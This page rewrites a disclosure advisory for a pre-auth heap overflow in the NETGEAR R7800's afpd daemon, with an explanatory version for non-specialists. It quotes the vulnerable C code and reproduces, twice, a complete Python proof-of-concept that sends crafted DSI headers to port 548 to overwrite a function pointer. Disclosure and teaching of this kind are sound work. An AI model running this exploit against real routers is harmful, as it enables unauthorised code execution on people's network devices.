Skip to content
Memory corruption Write-up Advanced

SSD Advisory – NETGEAR R7800 AFPD PreAuth

A heap buffer overflow in the afpd daemon's dsi_writeinit function allows a LAN-side attacker to overwrite a function pointer and execute arbitrary code pre-authentication on the NETGEAR R7800 router.

- Follow

Published on ssd-disclosure.com

A vulnerability in NETGEAR AFPD, Apple Filing Protocol daemon, process allows LAN side attackers to cause the product to overflow a buffer due to a pre-auth vulnerability.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

NETGEAR's R7800 Smart Router ships with afpd, the Apple Filing Protocol daemon, listening on the LAN side. The daemon speaks DSI, the Data Stream Interface that carries AFP traffic, and it parses DSI headers before any authentication takes place. The advisory describes a pre-auth heap buffer overflow in afpd's dsi_writeinit that lets a LAN side attacker overwrite a function pointer inside the DSI structure and execute arbitrary code on the router in its default configuration.

The affected version named in the advisory is NETGEAR R7800 firmware V1.0.2.90. The vulnerability class is memory corruption, specifically a heap buffer overflow.

Setup

The attack runs from the LAN side against the router's afpd service. The exploit code connects to the router at [redacted] on port 548, the standard AFP port, so the only precondition shown is network reachability to that port from the local network. No credentials, session or prior authentication step appears anywhere in the flow: the malicious DSI blocks are the first thing sent.

The proof of concept is a short Python script using socket and struct. It is reproduced in full in the exploitation section below.

Finding it

The core of the problem is in dsi_writeinit, which copies data out of the DSI command buffer into a caller supplied buffer:

C
size_t dsi_writeinit(DSI * dsi, void * buf,
const size_t buflen U) {
    size_t len, header;
    /* figure out how much data we have. do a couple checks for 0
    * data */
    header = ntohl(dsi -> header.dsi_code);
    dsi -> datasize = header ? ntohl(dsi -> header.dsi_len) - header : 0;
    if (dsi -> datasize > 0) {
        len = MIN(sizeof(dsi -> commands) - header, dsi -> datasize);
        /* write last part of command buffer into buf */
        memcpy(buf, dsi -> commands + header, len);

        /* recalculate remaining data */
        dsi -> datasize -= len;
    } else
        len = 0;
    return len;
}

The dsi structure is entirely attacker controlled. dsi->header.dsi_code is used as the offset header into dsi->commands, and dsi->header.dsi_len feeds dsi->datasize. Because dsi_code can be set to an unexpectedly large value and dsi_len to an arbitrary value, the memcpy can read from nearly arbitrary locations within dsi and write nearly arbitrary lengths into buf. That is what makes the overflow useful rather than merely a crash: the write can be shaped.

The advisory uses this to overwrite the proto_close member of the DSI struct, a function pointer that is called when the connection is closed. Part of the DSI structure can therefore be set up through the same primitive.

The header fields that feed those values are filled in by dsi_stream_receive, which reads a fixed size block and copies each field into the DSI header:

C
int dsi_stream_receive(DSI * dsi, void * buf,
const size_t ilength,
  size_t * rlength) {
    char block[DSI_BLOCKSIZ];
    LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: %u bytes", ilength);
    if (dsi -> flags & DSI_DISCONNECTED)
    return 0;
    /* read in the header */
    if (dsi_buffered_stream_read(dsi, (u_int8_t * ) block, sizeof(block)) !=
    sizeof(block))
    return 0;
    dsi -> header.dsi_flags = block[0];
    dsi -> header.dsi_command = block[1];
    /* FIXME, not the right place,
    but we get a server disconnect without reason in the log
    */
    if (!block[1]) {
    LOG(log_error, logtype_dsi, "dsi_stream_receive: invalid packet,
        fatal ");
        return 0;
    }
    memcpy( & dsi -> header.dsi_requestID, block + 2,
        sizeof(dsi -> header.dsi_requestID));
    memcpy( & dsi -> header.dsi_code, block + 4, sizeof(dsi -> header.dsi_code));
    memcpy( & dsi -> header.dsi_len, block + 8, sizeof(dsi -> header.dsi_len));
    memcpy( & dsi -> header.dsi_reserved, block + 12,
        sizeof(dsi -> header.dsi_reserved));
    dsi -> clientID = ntohs(dsi -> header.dsi_requestID);

    /* make sure we don't over-write our buffers. */
    * rlength = min(ntohl(dsi -> header.dsi_len), ilength);
    if (dsi_stream_read(dsi, buf, * rlength) != * rlength)
        return 0;
    return block[1];
}

The layout is a 16 byte DSI header: flags at byte 0, command at byte 1, request ID at bytes 2 and 3, dsi_code at bytes 4 to 7, dsi_len at bytes 8 to 11 and reserved at bytes 12 to 15. The only validation visible here is that the command byte is non-zero; the length and code fields are copied in as-is and later trusted by dsi_writeinit.

Exploitation

Step 1: connect to afpd

The script opens a TCP connection to the router's AFP port:

Python
import socket
import struct
HOST, PORT = '[redacted]', 548
def connect():
    global sock
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

HOST is the router's LAN address and PORT is 548, the AFP service port. The global sock is reused for the send later.

Step 2: build a DSI header block

A helper assembles a 16 byte header from a command byte, a dsi_code and a dsi_len:

Python
def create_block(command, dsi_code, dsi_len):
    block = b'x00' # dsi->header.dsi_flags
    block += struct.pack("<B", command) # dsi->header.dsi_command
    block += b'x00x00' # dsi->header.dsi_requestID
    block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
    block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
    block += b'x00x00x00x00' # dsi->header.dsi_reserved
    return block

The command is packed little-endian as a single byte, while dsi_code and dsi_len are packed big-endian, matching the ntohl conversions in the daemon. Flags, request ID and reserved are zero.

Step 3: send the crafted sequence

The main routine sends a first block, a single filler byte, a second block with extreme values, and a large run of A bytes:

Python
def main():
    connect()
    pkt = create_block(0x4, 0x0, 0x1)
    pkt += b'x00'
    pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
    pkt += b'A' * 8192
    sock.send(pkt)

if __name__=='__main__':
    main()

The first block uses command 0x4, dsi_code 0 and dsi_len 1, followed by one byte of data. The second block uses command 0xFF, a dsi_code of 0xFFFFFFFF - 0x50 and a dsi_len of 0x2001 + 0x20. That second header is the one that drives dsi_writeinit: the huge dsi_code becomes the offset into dsi->commands, and the large dsi_len becomes the size of the copy. The trailing 8192 A bytes pad the packet after the second header. The result, per the advisory, is that the proto_close function pointer in the DSI struct is overwritten and code execution follows when the pointer is used on close.

Root cause

dsi_writeinit trusts two header fields that the client fully controls. It computes the source offset from dsi_code without checking it against the size of dsi->commands, and it computes the copy length from dsi_len without checking it against the size of the destination buf. The MIN in the length calculation only clamps against sizeof(dsi->commands) - header, which is itself derived from the attacker's offset, so it does not bound the write to the destination. The receive path in dsi_stream_receive validates only that the command byte is non-zero, so nothing upstream rejects the extreme values before they reach the copy.

The overflow lands on the DSI struct, where proto_close is a function pointer invoked on connection close. Overwriting it converts a memory corruption bug into control flow hijack. The advisory does not discuss any mitigations or defences.

Impact

A LAN side attacker can cause afpd to overflow a buffer pre-auth and, by overwriting the proto_close function pointer, execute arbitrary code on the NETGEAR R7800 in its default configuration. The advisory's summary is explicit that the attack is LAN side and pre-auth, so the attacker needs to be on the local network but needs no credentials. The advisory does not state what privileges the code runs with or what an attacker could do beyond code execution on the device.

Fix

The vendor issued a patch on 6 November 2022. The advisory notes that the vendor did not provide a reference to which advisory corresponds to the fix, nor which firmware version contains it, so the exact change is not documented here. A fix would need bounds validation in dsi_writeinit, but the advisory does not document the actual change.

Variants to test

  1. A positive result is the daemon dying or behaving abnormally on the oversized dsi_code and dsi_len values.
  2. A positive result is the same overflow behaviour with a different command.
  3. A positive result is a read or write outside the command buffer without an immediate rejection.
  4. A positive result is data written past the end of buf.
  5. A positive result is any out-of-bounds access reachable pre-auth.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make a NETGEAR R7800 Smart Router run attacker-supplied code from inside the local network, without knowing any password. The router runs a small program called afpd, which is the part that lets Apple devices share files over the network. That program reads a short piece of information at the start of every connection, called a header, and it trusts some numbers inside that header far too much. By sending a header with deliberately huge numbers, an attacker can make the program copy more data than it has room for, overwrite a stored instruction about what to do when the connection closes, and get the router to run the attacker's own code instead.

The advisory was published on 22 November 2022 by the SSD Secure Disclosure technical team. It credits an independent security researcher who reported the issue to the SSD Secure Disclosure program. The affected version named in the advisory is NETGEAR R7800 firmware V1.0.2.90. The vulnerability class is memory corruption, specifically a heap buffer overflow.

Before going further, a few words on the pieces involved.

  • A router is the box in your home that connects your devices to the internet and to each other. The R7800 is a NETGEAR model marketed as a Smart Router.
  • A daemon is a program that runs quietly in the background, waiting for requests. afpd is the Apple Filing Protocol daemon: it implements AFP, Apple's older protocol for sharing files between Macs and other devices.
  • DSI stands for Data Stream Interface. It is the small envelope format that carries AFP traffic. Every DSI message starts with a fixed header, a short block of bytes that says what kind of message it is and how long the rest is. Think of it like the address label on a parcel: the label tells the sorting office where the parcel goes and how big it is, before anyone opens it.
  • Pre-auth means before authentication. The vulnerable code runs while the router is still reading that label, before it has asked for any username or password. So the attacker never needs to log in.
  • LAN side means the local network, the side where your own devices sit, as opposed to the internet-facing side.
  • A buffer is a fixed-size area of memory set aside to hold data. A heap buffer is one allocated while the program runs, rather than reserved in advance. A buffer overflow happens when a program writes more data into a buffer than it can hold, so the extra data spills into whatever sits next to it in memory. Picture a row of numbered glasses on a table and someone pouring a litre into a glass meant for a cup: the drink runs over the table and soaks the next things along.
  • A function pointer is a stored address that tells the program which piece of code to run next. If an attacker can overwrite a function pointer, they can redirect the program to code of their choosing. It is like swapping the phone number written next to a name in an address book: the next time someone dials that name, they reach a different person.
  • Arbitrary code execution means the attacker can make the device run commands they supply, rather than only crashing it.

Context

NETGEAR's R7800 Smart Router ships with afpd, the Apple Filing Protocol daemon, listening on the LAN side. The daemon speaks DSI, the Data Stream Interface that carries AFP traffic, and it parses DSI headers before any authentication takes place. The advisory describes a pre-auth heap buffer overflow in afpd's dsi_writeinit that lets a LAN side attacker overwrite a function pointer inside the DSI structure and execute arbitrary code on the router in its default configuration.

Setup

The attack runs from the LAN side against the router's afpd service. The exploit code connects to the router at [redacted] on port 548, the standard AFP port, so the only precondition shown is network reachability to that port from the local network. No credentials, session or prior authentication step appears anywhere in the flow: the malicious DSI blocks are the first thing sent.

A port is a numbered doorway on a machine. One machine can run many services at once, and each listens on its own number so incoming traffic reaches the right program. Port 548 is the one conventionally used for AFP. [redacted] is a typical address for a home router on the local network.

The proof of concept is a short Python script using socket and struct. Python is a programming language; socket is its built-in module for opening network connections, and struct is its module for packing numbers into raw bytes in a chosen byte order. It is reproduced in full in the exploitation section below.

Finding it

The core of the problem is in dsi_writeinit, which copies data out of the DSI command buffer into a caller supplied buffer:

C
size_t dsi_writeinit(DSI * dsi, void * buf,
const size_t buflen U) {
    size_t len, header;
    /* figure out how much data we have. do a couple checks for 0
    * data */
    header = ntohl(dsi -> header.dsi_code);
    dsi -> datasize = header ? ntohl(dsi -> header.dsi_len) - header : 0;
    if (dsi -> datasize > 0) {
        len = MIN(sizeof(dsi -> commands) - header, dsi -> datasize);
        /* write last part of command buffer into buf */
        memcpy(buf, dsi -> commands + header, len);

        /* recalculate remaining data */
        dsi -> datasize -= len;
    } else
        len = 0;
    return len;
}

Line by line, in plain words:

  1. size_t dsi_writeinit(DSI * dsi, void * buf, const size_t buflen U) { declares the function. It receives a pointer to a DSI structure (the connection's bookkeeping), a pointer to a destination buffer buf, and a length buflen. size_t is an unsigned number type used for sizes.
  2. size_t len, header; declares two local variables. header will hold an offset, len will hold how many bytes to copy.
  3. header = ntohl(dsi -> header.dsi_code); reads the dsi_code field out of the DSI header and converts it from network byte order to the machine's own byte order. ntohl means network to host, long. Network byte order is the agreed big-endian convention for numbers on the wire; a machine may store numbers the other way round, so the conversion is needed before using the value.
  4. dsi -> datasize = header ? ntohl(dsi -> header.dsi_len) - header : 0; sets how much data is considered available. If header is non-zero, it takes dsi_len (again converted from network order) and subtracts header from it; if header is zero, the result is 0. The ? : form is a compact if/else.
  5. if (dsi -> datasize > 0) { only proceeds when there is a positive amount of data.
  6. len = MIN(sizeof(dsi -> commands) - header, dsi -> datasize); picks the smaller of two numbers: the size of the internal commands buffer minus header, and datasize. MIN returns the lesser value. This is meant to be a safety limit.
  7. memcpy(buf, dsi -> commands + header, len); copies len bytes from inside dsi->commands, starting header bytes in, into buf. memcpy is the standard memory copy routine.
  8. dsi -> datasize -= len; subtracts what was copied from the remaining count.
  9. } else len = 0; if there was no positive data, nothing is copied.
  10. return len; reports how many bytes were copied.

The dsi structure is entirely attacker controlled. dsi->header.dsi_code is used as the offset header into dsi->commands, and dsi->header.dsi_len feeds dsi->datasize. Because dsi_code can be set to an unexpectedly large value and dsi_len to an arbitrary value, the memcpy can read from nearly arbitrary locations within dsi and write nearly arbitrary lengths into buf. That is what makes the overflow useful rather than merely a crash: the write can be shaped.

The advisory uses this to overwrite the proto_close member of the DSI struct, a function pointer that is called when the connection is closed. Part of the DSI structure can therefore be set up through the same primitive.

The header fields that feed those values are filled in by dsi_stream_receive, which reads a fixed size block and copies each field into the DSI header:

C
int dsi_stream_receive(DSI * dsi, void * buf,
const size_t ilength,
  size_t * rlength) {
    char block[DSI_BLOCKSIZ];
    LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: %u bytes", ilength);
    if (dsi -> flags & DSI_DISCONNECTED)
    return 0;
    /* read in the header */
    if (dsi_buffered_stream_read(dsi, (u_int8_t * ) block, sizeof(block)) !=
    sizeof(block))
    return 0;
    dsi -> header.dsi_flags = block[0];
    dsi -> header.dsi_command = block[1];
    /* FIXME, not the right place,
    but we get a server disconnect without reason in the log
    */
    if (!block[1]) {
    LOG(log_error, logtype_dsi, "dsi_stream_receive: invalid packet,
        fatal ");
        return 0;
    }
    memcpy( & dsi -> header.dsi_requestID, block + 2,
        sizeof(dsi -> header.dsi_requestID));
    memcpy( & dsi -> header.dsi_code, block + 4, sizeof(dsi -> header.dsi_code));
    memcpy( & dsi -> header.dsi_len, block + 8, sizeof(dsi -> header.dsi_len));
    memcpy( & dsi -> header.dsi_reserved, block + 12,
        sizeof(dsi -> header.dsi_reserved));
    dsi -> clientID = ntohs(dsi -> header.dsi_requestID);

    /* make sure we don't over-write our buffers. */
    * rlength = min(ntohl(dsi -> header.dsi_len), ilength);
    if (dsi_stream_read(dsi, buf, * rlength) != * rlength)
        return 0;
    return block[1];
}

Line by line:

  1. int dsi_stream_receive(DSI * dsi, void * buf, const size_t ilength, size_t * rlength) { declares the function that receives one DSI message. It gets the DSI structure, a destination buffer, an input length, and a pointer where it will store the actual length read.
  2. char block[DSI_BLOCKSIZ]; reserves a small fixed-size array on the stack to hold the raw header bytes. DSI_BLOCKSIZ is a constant for the header size.
  3. LOG(...) writes a debug log line.
  4. if (dsi -> flags & DSI_DISCONNECTED) return 0; checks a flag bit: if the connection is already marked disconnected, stop. & here is a bitwise AND used to test a flag.
  5. if (dsi_buffered_stream_read(dsi, (u_int8_t * ) block, sizeof(block)) != sizeof(block)) return 0; reads exactly the header size worth of bytes from the connection into block. If it does not get that many, it gives up.
  6. dsi -> header.dsi_flags = block[0]; copies byte 0 into the flags field.
  7. dsi -> header.dsi_command = block[1]; copies byte 1 into the command field.
  8. The comment beginning /* FIXME, not the right place, is a note left by the developers.
  9. if (!block[1]) { ... return 0; } rejects the message if the command byte is zero, logging an invalid packet. This is the only validation shown.
  10. memcpy( & dsi -> header.dsi_requestID, block + 2, sizeof(dsi -> header.dsi_requestID)); copies the request ID from bytes 2 and 3.
  11. memcpy( & dsi -> header.dsi_code, block + 4, sizeof(dsi -> header.dsi_code)); copies dsi_code from bytes 4 to 7.
  12. memcpy( & dsi -> header.dsi_len, block + 8, sizeof(dsi -> header.dsi_len)); copies dsi_len from bytes 8 to 11.
  13. memcpy( & dsi -> header.dsi_reserved, block + 12, sizeof(dsi -> header.dsi_reserved)); copies the reserved field from bytes 12 to 15.
  14. dsi -> clientID = ntohs(dsi -> header.dsi_requestID); converts the request ID from network order to host order and stores it as the client ID. ntohs is the 16-bit version of ntohl.
  15. * rlength = min(ntohl(dsi -> header.dsi_len), ilength); decides how many payload bytes to read: the smaller of the declared length and the input length.
  16. if (dsi_stream_read(dsi, buf, * rlength) != * rlength) return 0; reads that many bytes into buf and stops on a short read.
  17. return block[1]; returns the command byte.

The layout is a 16 byte DSI header: flags at byte 0, command at byte 1, request ID at bytes 2 and 3, dsi_code at bytes 4 to 7, dsi_len at bytes 8 to 11 and reserved at bytes 12 to 15. The only validation visible here is that the command byte is non-zero; the length and code fields are copied in as-is and later trusted by dsi_writeinit.

Exploitation

Step 1: connect to afpd

The script opens a TCP connection to the router's AFP port:

Python
import socket
import struct
HOST, PORT = '[redacted]', 548
def connect():
    global sock
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
  1. import socket and import struct load the two modules the script needs.
  2. HOST, PORT = '[redacted]', 548 sets the target address and port in one line.
  3. def connect(): defines a function that will open the connection.
  4. global sock says the variable sock is shared with the rest of the script, so the send step can use it later.
  5. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) creates a TCP socket. AF_INET means IPv4 addressing, SOCK_STREAM means a reliable stream connection, which is what TCP is.
  6. sock.connect((HOST, PORT)) actually dials the router on port 548.

HOST is the router's LAN address and PORT is 548, the AFP service port. The global sock is reused for the send later.

Step 2: build a DSI header block

A helper assembles a 16 byte header from a command byte, a dsi_code and a dsi_len:

Python
def create_block(command, dsi_code, dsi_len):
    block = b'x00' # dsi->header.dsi_flags
    block += struct.pack("<B", command) # dsi->header.dsi_command
    block += b'x00x00' # dsi->header.dsi_requestID
    block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
    block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
    block += b'x00x00x00x00' # dsi->header.dsi_reserved
    return block
  1. def create_block(command, dsi_code, dsi_len): defines the helper, taking the three values that matter.
  2. block = b'x00' starts the block with one byte for the flags field. The b'...' form is a bytes literal in Python.
  3. block += struct.pack("<B", command) appends the command as a single byte. The < means little-endian byte order and B means unsigned byte.
  4. block += b'x00x00' appends two zero bytes for the request ID.
  5. block += struct.pack(">I", dsi_code) appends dsi_code as a four-byte unsigned integer in big-endian order. > means big-endian, I means unsigned 32-bit integer.
  6. block += struct.pack(">I", dsi_len) appends dsi_len the same way.
  7. block += b'x00x00x00x00' appends four zero bytes for the reserved field.
  8. return block hands the assembled 16 bytes back to the caller.

The command is packed little-endian as a single byte, while dsi_code and dsi_len are packed big-endian, matching the ntohl conversions in the daemon. Flags, request ID and reserved are zero.

Step 3: send the crafted sequence

The main routine sends a first block, a single filler byte, a second block with extreme values, and a large run of A bytes:

Python
def main():
    connect()
    pkt = create_block(0x4, 0x0, 0x1)
    pkt += b'x00'
    pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
    pkt += b'A' * 8192
    sock.send(pkt)

if __name__=='__main__':
    main()
  1. def main(): defines the routine that does the work.
  2. connect() opens the TCP connection to the router.
  3. pkt = create_block(0x4, 0x0, 0x1) builds the first header: command 0x4, dsi_code 0, dsi_len 1. 0x prefixes a hexadecimal number, a base-16 way of writing values.
  4. pkt += b'x00' appends one byte of payload, matching the declared length of 1.
  5. pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20) builds the second header with extreme values: command 0xFF, a dsi_code of 0xFFFFFFFF - 0x50 and a dsi_len of 0x2001 + 0x20. 0xFFFFFFFF is the largest value a 32-bit unsigned integer can hold, so subtracting 0x50 gives a very large offset.
  6. pkt += b'A' * 8192 appends 8192 copies of the letter A as filler data.
  7. sock.send(pkt) sends the whole assembled packet in one go.
  8. if __name__=='__main__': main() is the standard Python idiom that runs main() when the script is executed directly.

The first block uses command 0x4, dsi_code 0 and dsi_len 1, followed by one byte of data. The second block uses command 0xFF, a dsi_code of 0xFFFFFFFF - 0x50 and a dsi_len of 0x2001 + 0x20. That second header is the one that drives dsi_writeinit: the huge dsi_code becomes the offset into dsi->commands, and the large dsi_len becomes the size of the copy. The trailing 8192 A bytes pad the packet after the second header. The result, per the advisory, is that the proto_close function pointer in the DSI struct is overwritten and code execution follows when the pointer is used on close.

Root cause

dsi_writeinit trusts two header fields that the client fully controls. It computes the source offset from dsi_code without checking it against the size of dsi->commands, and it computes the copy length from dsi_len without checking it against the size of the destination buf. The MIN in the length calculation only clamps against sizeof(dsi->commands) - header, which is itself derived from the attacker's offset, so it does not bound the write to the destination. The receive path in dsi_stream_receive validates only that the command byte is non-zero, so nothing upstream rejects the extreme values before they reach the copy.

The overflow lands on the DSI struct, where proto_close is a function pointer invoked on connection close. Overwriting it converts a memory corruption bug into control flow hijack. The advisory does not discuss any mitigations or defences.

Impact

A LAN side attacker can cause afpd to overflow a buffer pre-auth and, by overwriting the proto_close function pointer, execute arbitrary code on the NETGEAR R7800 in its default configuration. The advisory's summary is explicit that the attack is LAN side and pre-auth, so the attacker needs to be on the local network but needs no credentials. The advisory does not state what privileges the code runs with or what an attacker could do beyond code execution on the device.

Fix

The vendor issued a patch on 6 November 2022. The advisory notes that the vendor did not provide a reference to which advisory corresponds to the fix, nor which firmware version contains it, so the exact change is not documented here. A fix would need bounds validation in dsi_writeinit, but the advisory does not document the actual change.

Variants to test

  1. A positive result is the daemon dying or behaving abnormally on the oversized dsi_code and dsi_len values.
  2. A positive result is the same overflow behaviour with a different command.
  3. A positive result is a read or write outside the command buffer without an immediate rejection.
  4. A positive result is data written past the end of buf.
  5. A positive result is any out-of-bounds access reachable pre-auth.

Glossary

  • Router: the device in a home or office network that forwards traffic between local devices and the internet.
  • Daemon: a program that runs in the background and waits for requests.
  • afpd: the Apple Filing Protocol daemon, the program that implements Apple file sharing on the device.
  • AFP (Apple Filing Protocol): Apple's protocol for sharing files over a network.
  • DSI (Data Stream Interface): the envelope format that carries AFP traffic, starting with a fixed 16 byte header.
  • Header: the fixed block of bytes at the start of a message that describes the message.
  • Pre-auth: happening before any authentication, so no credentials are needed.
  • LAN side: the local network side, where the user's own devices sit.
  • Buffer: a fixed-size area of memory used to hold data.
  • Heap buffer: a buffer allocated while the program is running.
  • Buffer overflow: writing more data into a buffer than it can hold, so the extra data spills into neighbouring memory.
  • Memory corruption: any bug that causes a program to read or write memory it should not.
  • Function pointer: a stored address telling the program which code to run next; overwriting it can redirect execution.
  • Arbitrary code execution: the ability to make a device run code supplied by the attacker.
  • Port: a numbered doorway on a machine that a particular service listens on; AFP uses 548.
  • TCP: a reliable, ordered network connection protocol.
  • Socket: the programming object that represents a network connection.
  • Byte order (endianness): the order in which the bytes of a number are stored; big-endian puts the most significant byte first, little-endian the least.
  • ntohl / ntohs: functions that convert a 32-bit or 16-bit number from network byte order to the machine's own order.
  • memcpy: the standard routine that copies a block of bytes from one place in memory to another.
  • Offset: a number of bytes counted from a starting point, used to locate data inside a buffer.
  • MIN / min: a function or macro that returns the smaller of two values.
  • Control flow hijack: redirecting a program to run code other than what it intended.
  • Bounds validation: checking that a value used as an offset or length stays within the size of the buffer it refers to.
  • Firmware: the software built into a hardware device such as a router.
  • Proof of concept (PoC): a small program that demonstrates a vulnerability works.
  • Hexadecimal: a base-16 way of writing numbers, often prefixed with 0x.
  • proto_close: a function pointer in the DSI structure that is called when the connection closes.

More by -

View all

18 more disclosed reports, best first.

More from Netgear

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.